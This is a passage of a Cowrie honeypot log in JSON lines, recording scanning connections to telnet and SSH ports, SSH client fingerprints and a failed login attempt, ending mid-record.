{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":59580,"dst_ip":"159.203.135.109","dst_port":23,"session":"73c000fda690","protocol":"telnet","message":"New connection: 69.6.225.50:59580 (159.203.135.109:23) [session: 73c000fda690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:10.928091Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":59584,"dst_ip":"159.203.135.109","dst_port":23,"session":"beed4097afcc","protocol":"telnet","message":"New connection: 69.6.225.50:59584 (159.203.135.109:23) [session: beed4097afcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:10.969074Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":59596,"dst_ip":"159.203.135.109","dst_port":23,"session":"11e009d30d01","protocol":"telnet","message":"New connection: 69.6.225.50:59596 (159.203.135.109:23) [session: 11e009d30d01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:11.147552Z"}
{"eventid":"cowrie.session.closed","duration":30.25504207611084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:11.186388Z","src_ip":"185.15.23.59","session":"1432ce705972","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":59610,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe307405a90a","protocol":"telnet","message":"New connection: 69.6.225.50:59610 (159.203.135.109:23) [session: fe307405a90a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:11.441061Z"}
{"eventid":"cowrie.session.closed","duration":30.836370944976807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:11.446718Z","src_ip":"185.15.23.59","session":"07e17bdb19c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":52512,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e52941dc364","protocol":"telnet","message":"New connection: 185.15.23.59:52512 (159.203.135.109:23) [session: 7e52941dc364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:11.535998Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":53934,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd7e0c94d791","protocol":"telnet","message":"New connection: 185.15.23.59:53934 (159.203.135.109:23) [session: bd7e0c94d791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:12.065796Z"}
{"eventid":"cowrie.session.closed","duration":31.3386709690094,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:12.498685Z","src_ip":"185.15.23.59","session":"1ad19c002515","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":55136,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb265efe5c23","protocol":"telnet","message":"New connection: 185.15.23.59:55136 (159.203.135.109:23) [session: eb265efe5c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:12.616509Z"}
{"eventid":"cowrie.session.closed","duration":31.546074628829956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:12.745176Z","src_ip":"185.15.23.59","session":"d34c0b3cdf31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":56070,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd76cddecf5e","protocol":"telnet","message":"New connection: 185.15.23.59:56070 (159.203.135.109:23) [session: dd76cddecf5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:12.967434Z"}
{"eventid":"cowrie.session.closed","duration":31.296691179275513,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:13.276706Z","src_ip":"185.15.23.59","session":"2c0ca2f0f4e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":57246,"dst_ip":"159.203.135.109","dst_port":23,"session":"a90fa2a07ad4","protocol":"telnet","message":"New connection: 185.15.23.59:57246 (159.203.135.109:23) [session: a90fa2a07ad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:13.543399Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":43784,"dst_ip":"10.17.0.5","dst_port":23,"session":"5206623086ec","protocol":"telnet","message":"New connection: 144.79.218.12:43784 (10.17.0.5:23) [session: 5206623086ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:13.850916Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":43800,"dst_ip":"10.17.0.5","dst_port":23,"session":"2161f097291f","protocol":"telnet","message":"New connection: 144.79.218.12:43800 (10.17.0.5:23) [session: 2161f097291f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:14.015612Z"}
{"eventid":"cowrie.session.closed","duration":30.518490076065063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:14.146042Z","src_ip":"185.15.23.59","session":"4c5f39f722ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":43816,"dst_ip":"10.17.0.5","dst_port":23,"session":"d82e7b163c85","protocol":"telnet","message":"New connection: 144.79.218.12:43816 (10.17.0.5:23) [session: d82e7b163c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:14.407891Z"}
{"eventid":"cowrie.session.closed","duration":36.31221008300781,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:14.500538Z","src_ip":"144.79.218.12","session":"b71e17cf288b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":60744,"dst_ip":"159.203.135.109","dst_port":23,"session":"500d043524ad","protocol":"telnet","message":"New connection: 185.15.23.59:60744 (159.203.135.109:23) [session: 500d043524ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:14.734969Z"}
{"eventid":"cowrie.session.closed","duration":36.50221276283264,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:15.031353Z","src_ip":"144.79.218.12","session":"17e54628fdb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60288715362549,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:15.080419Z","src_ip":"185.15.23.59","session":"201d5e2389fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":43832,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6ea46b7d8b5","protocol":"telnet","message":"New connection: 144.79.218.12:43832 (10.17.0.5:23) [session: c6ea46b7d8b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:15.243002Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":33908,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce16ffc5602e","protocol":"telnet","message":"New connection: 185.15.23.59:33908 (159.203.135.109:23) [session: ce16ffc5602e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:15.325984Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":34560,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b9efed35ec7","protocol":"telnet","message":"New connection: 185.15.23.59:34560 (159.203.135.109:23) [session: 8b9efed35ec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:15.567224Z"}
{"eventid":"cowrie.session.closed","duration":31.248347520828247,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:15.762485Z","src_ip":"185.15.23.59","session":"02c57cd00f7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":35126,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbd64717ee62","protocol":"telnet","message":"New connection: 185.15.23.59:35126 (159.203.135.109:23) [session: fbd64717ee62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:15.824070Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":43848,"dst_ip":"10.17.0.5","dst_port":23,"session":"011c6fcfead1","protocol":"telnet","message":"New connection: 144.79.218.12:43848 (10.17.0.5:23) [session: 011c6fcfead1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:15.971596Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":35648,"dst_ip":"159.203.135.109","dst_port":23,"session":"d43eacc61b4a","protocol":"telnet","message":"New connection: 185.15.23.59:35648 (159.203.135.109:23) [session: d43eacc61b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:16.021371Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":59624,"dst_ip":"159.203.135.109","dst_port":23,"session":"9de3bbd91107","protocol":"telnet","message":"New connection: 69.6.225.50:59624 (159.203.135.109:23) [session: 9de3bbd91107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:16.086115Z"}
{"eventid":"cowrie.session.closed","duration":30.309285640716553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:16.115046Z","src_ip":"185.15.23.59","session":"d5ebcbbd6476","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":36054,"dst_ip":"159.203.135.109","dst_port":23,"session":"04180ee7b5bc","protocol":"telnet","message":"New connection: 185.15.23.59:36054 (159.203.135.109:23) [session: 04180ee7b5bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:16.230047Z"}
{"eventid":"cowrie.session.closed","duration":30.838465690612793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:16.555832Z","src_ip":"185.15.23.59","session":"9bdc980ccc29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":36870,"dst_ip":"159.203.135.109","dst_port":23,"session":"461d4312e38e","protocol":"telnet","message":"New connection: 185.15.23.59:36870 (159.203.135.109:23) [session: 461d4312e38e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:16.598255Z"}
{"eventid":"cowrie.session.closed","duration":31.34619426727295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:17.027212Z","src_ip":"185.15.23.59","session":"982d7747c6f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.345170736312866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:17.055180Z","src_ip":"69.6.225.50","session":"fef081b21c2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":38350,"dst_ip":"159.203.135.109","dst_port":23,"session":"efb4aaf82763","protocol":"telnet","message":"New connection: 185.15.23.59:38350 (159.203.135.109:23) [session: efb4aaf82763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:17.099716Z"}
{"eventid":"cowrie.session.closed","duration":30.43060040473938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:17.330245Z","src_ip":"185.15.23.59","session":"b27573702b2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99052405357361,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:17.894927Z","src_ip":"69.6.225.50","session":"3c0b63a4b0c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.963814973831177,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:18.054645Z","src_ip":"69.6.225.50","session":"6ca3a83158a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.28733777999878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:18.059123Z","src_ip":"69.6.225.50","session":"e96606632372","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":41158,"dst_ip":"159.203.135.109","dst_port":23,"session":"a583c348fc9d","protocol":"telnet","message":"New connection: 185.15.23.59:41158 (159.203.135.109:23) [session: a583c348fc9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:18.113510Z"}
{"eventid":"cowrie.session.closed","duration":30.439183473587036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:18.137843Z","src_ip":"185.15.23.59","session":"24f3dfb06e5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.254348754882812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:18.158674Z","src_ip":"185.15.23.59","session":"fe69360e3cf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":43860,"dst_ip":"10.17.0.5","dst_port":23,"session":"efc92d71181c","protocol":"telnet","message":"New connection: 144.79.218.12:43860 (10.17.0.5:23) [session: efc92d71181c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:18.205011Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":43862,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab21785b9df0","protocol":"telnet","message":"New connection: 144.79.218.12:43862 (10.17.0.5:23) [session: ab21785b9df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:18.293746Z"}
{"eventid":"cowrie.session.closed","duration":36.731733322143555,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:18.304926Z","src_ip":"144.79.218.12","session":"9e622a7883ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":42120,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a938741c10a","protocol":"telnet","message":"New connection: 185.15.23.59:42120 (159.203.135.109:23) [session: 4a938741c10a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:18.574947Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":43288,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca6f2b4bcab1","protocol":"telnet","message":"New connection: 185.15.23.59:43288 (159.203.135.109:23) [session: ca6f2b4bcab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:18.949924Z"}
{"eventid":"cowrie.session.closed","duration":36.790629625320435,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:19.043739Z","src_ip":"144.79.218.12","session":"f26b1200fa2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.863866806030273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:19.356118Z","src_ip":"185.15.23.59","session":"963a6575d60f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42438292503357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:19.391624Z","src_ip":"185.15.23.59","session":"97ea2120c07d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56014,"dst_ip":"159.203.135.109","dst_port":23,"session":"76e00d1a64ab","protocol":"telnet","message":"New connection: 69.6.225.50:56014 (159.203.135.109:23) [session: 76e00d1a64ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:19.432114Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56022,"dst_ip":"159.203.135.109","dst_port":23,"session":"14d9b5b77d59","protocol":"telnet","message":"New connection: 69.6.225.50:56022 (159.203.135.109:23) [session: 14d9b5b77d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:19.505198Z"}
{"eventid":"cowrie.session.closed","duration":30.170870542526245,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:20.057077Z","src_ip":"69.6.225.50","session":"fae56750d362","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6421320438385,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:20.061671Z","src_ip":"69.6.225.50","session":"08b07acc164e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13198733329773,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:20.071975Z","src_ip":"69.6.225.50","session":"b3b304a276ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":56034,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f4c50e8fc4f","protocol":"telnet","message":"New connection: 69.6.225.50:56034 (159.203.135.109:23) [session: 5f4c50e8fc4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:20.420105Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":35660,"dst_ip":"10.17.0.5","dst_port":23,"session":"de501e5b9542","protocol":"telnet","message":"New connection: 144.79.218.12:35660 (10.17.0.5:23) [session: de501e5b9542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:21.081173Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47960,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc2e2e07ea43","protocol":"ssh","message":"New connection: 159.203.92.129:47960 (159.203.135.109:22) [session: fc2e2e07ea43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:21.094998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:21.099563Z","src_ip":"159.203.92.129","session":"fc2e2e07ea43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:21.104335Z","src_ip":"159.203.92.129","session":"fc2e2e07ea43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"albert","password":"albert","message":"login attempt [albert/albert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:21.117174Z","src_ip":"159.203.92.129","session":"fc2e2e07ea43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":49484,"dst_ip":"159.203.135.109","dst_port":23,"session":"db40b22b70fa","protocol":"telnet","message":"New connection: 185.15.23.59:49484 (159.203.135.109:23) [session: db40b22b70fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:21.410527Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":49492,"dst_ip":"159.203.135.109","dst_port":23,"session":"901edfa88f2b","protocol":"telnet","message":"New connection: 185.15.23.59:49492 (159.203.135.109:23) [session: 901edfa88f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:21.415373Z"}
{"eventid":"cowrie.session.closed","duration":31.221092224121094,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:21.418701Z","src_ip":"185.15.23.59","session":"bb684197c977","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.902344703674316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:21.440956Z","src_ip":"69.6.225.50","session":"9f142b631665","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":21565,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b66e4ca62a6","protocol":"ssh","message":"New connection: 2.57.121.25:21565 (159.203.135.109:22) [session: 3b66e4ca62a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:21.617301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:21.622162Z","src_ip":"2.57.121.25","session":"3b66e4ca62a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.430233478546143,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:21.634116Z","src_ip":"185.15.23.59","session":"bb52bfc3114b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26253867149353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:19:21.701157Z","src_ip":"185.15.23.59","session":"3ae5c07155dd","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS